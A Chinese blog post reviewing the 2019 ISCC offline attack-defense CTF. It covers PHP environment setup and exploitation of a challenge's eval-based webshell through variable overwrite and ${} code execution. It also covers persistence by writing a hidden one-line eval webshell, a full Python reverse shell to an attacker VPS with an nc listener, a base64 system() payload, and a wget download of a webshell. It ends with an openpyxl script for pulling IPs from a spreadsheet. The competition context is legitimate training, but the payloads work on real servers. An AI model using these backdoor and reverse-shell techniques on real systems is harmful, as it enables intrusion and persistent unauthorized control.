2019ISCC线下赛总结(二)

参加了一周的网络工程实训,也没带自己的电脑,但该学还是得学滴(学html实在是太无聊了)!系统的把ISCC比赛不足的地方总结反思弥补下

攻防赛注入题复现

题目链接: http://ctf.dropsec.xyz:1005

主要就是安装配置php的一些扩展

环境:ubuntu16.04,php7.0

安装GD库扩展

下载:

apt-get install php7.0-gd

找到/etc/php/php7.0/fpm/php.ini,命令模式下输入/extension,按n向下搜索,设置(去掉前面的分号):

extension_dir = "/usr/lib/php/20151012
extension=php_gd2.so

重启php-fpm:

systemctl restart php7.0-fpm.service

新建一个php文件,写入phpinfo(),之后查看php信息,可以找到gd配置项,说明安装成功

安装mysqli扩展

下载:

apt-get install php7.0-mysqli

找到/etc/php/php7.0/fpm/php.ini,命令模式下输入/mysqli,按n向下搜索,设置:

extension=php_mysqli.so

重启php-fpm:

systemctl restart php7.0-fpm.service

新建一个php文件,写入phpinfo(),之后查看php信息,可以找到mysqli配置项,说明安装成功

开启报错

由于输入单引号时需要报错,因此需要开启php的报错

找到/etc/php/php7.0/fpm/php.ini,命令模式下输入/display_errorr,按n向下搜索,设置:

display_errorr = On 

重启php-fpm:

systemctl restart php7.0-fpm.service

使用mysqli_error()来获取错误信息:

$con = mysqli_connect("localhost", "root", "xxxxxx", "web");
$query = mysqli_query($con,$sql); 

if($query === false){
    echo mysqli_error($con);
    die();
}

其他

在比赛时看到题目有个注册功能,以为没什么用,没想到这个注册功能是为了提示数据库中有个用户名为iscc_xxxx,如果题目把异或符^给ban了,那么需要用爆破的方式,找到正确的用户名进行注入

shell文件利用方式

比赛的木马文件是这样的:

1
2
3
4
5
6
7
8
9
<?php

show_source(__FILE__);

$a= @$_REQUEST['a'];

@eval("var_dump($$a);");

?>
方法一.变量覆盖

构造:

a=a=123

那么$a=a=123@eval("var_dump($$a);");就相当于@eval("var_dump($a=123);");

注意:

var_dump(123);
var_dump($a=123);

显示结果是一样的:

int(123) int(123)

1.可以通过闭合var_dump来执行其他命令

构造:

a=a=123);print_r([666]);//

实际就是:

@eval("var_dump($a=123);print_r([666]);//);");

eval函数中, "内部为代码,注释符//只在代码中起作用,相当于只注释了);

输出了print_r()函数执行结果:

int(123) Array ( [0] => 666 )

2.可以直接使用变量覆盖执行其他命令

上面说了,var_dump(123);var_dump($a=123);是一样的,那么可以试着把123替换成函数:

var_dump(print_r([666]));
var_dump($a=print_r([666]));

运行结果:

Array ( [0] => 666 ) bool(true) Array ( [0] => 666 ) bool(true)

可以看到,函数也可以在var_dump()中执行

那么可以构造:

a=a=print([666])

同样可以执行print_r()函数

方法二.使用{}

php有个特性,变量名被{}括起来的部分会被当作代码执行

那么可构造:

a={print_r([666])}

实际就是:

@eval("var_dump(${print_r([666])});");

同样可以执行print_r()函数

权限维持

使用file_put_contents()函数
?a={file_put_contents('.s.php', '<?php @eval($_POST['t']); ?>')}
反弹shell

python的反弹shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps的ip", 端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

首先在自己的vps上监听

nc -lvp 端口

使用base64将上面的python代码编码后,作为参数传过去:

?a={system(base64_decode('IpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc='))}

输入命令:

echo "<?php @eval(\$_POST['t']); ?>" > .shell.php

即将一句话木马写入到了.shell.php文件,之后将官方预留的木马删除掉即可;前面加个点可以隐蔽文件,所以列出自己文件一定要用ls -a命令!!!

wget

这个方法按理说也可以,太懒了就不试了: 先将木马放到自己vps上,拿到shell后命令执行wget x.x.x.x/ma.php即可把木马下载到目标主机上

提取excel中的数据

下面为模拟的比赛中的ip地址存储格式:

序号 私地ip
1 192.168.1.2
1 192.168.1.3
2 192.168.2.5
2 192.168.2.10
3 192.168.3.7
3 192.168.3.17

第一道题的ip地址均为每个序号的第一个ip,下面用python将每个序号的第一个ip提取出来,并将其放入python的列表中,格式为:

['192.168.1.2', '192.168.2.5', ...]

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from openpyxl import Workbook
from openpyxl import load_workbook

wb = load_workbook('a.xlsx')

ws=wb.active

# 以列为顺序,获取所有元素的对象
cols=[]
for col in ws.iter_cols():
cols.append(col)

# 以行为顺序,获取所有元素的对象
rows = []
for row in ws.iter_rows():
rows.append(row)


#print(cols) # 列表里面存放着元组,每一列为一个元组,元组里面每个元素为单元格对象
#print(rows) # 列表里面存放着元组,每一行为一个元组,元组里面每个元素为单元格对象

# 获取所有列数
#print(len(cols)) # 2
# 获取所有行数
#print(len(rows)) # 7



# 获取第二列每个序号的第一个元素值,保存到列表中
values = []
for i in range(1, len(rows), 2):
values.append(cols[1][i].value)

print(values)

参考文章:

https://www.anquanke.com/post/id/147989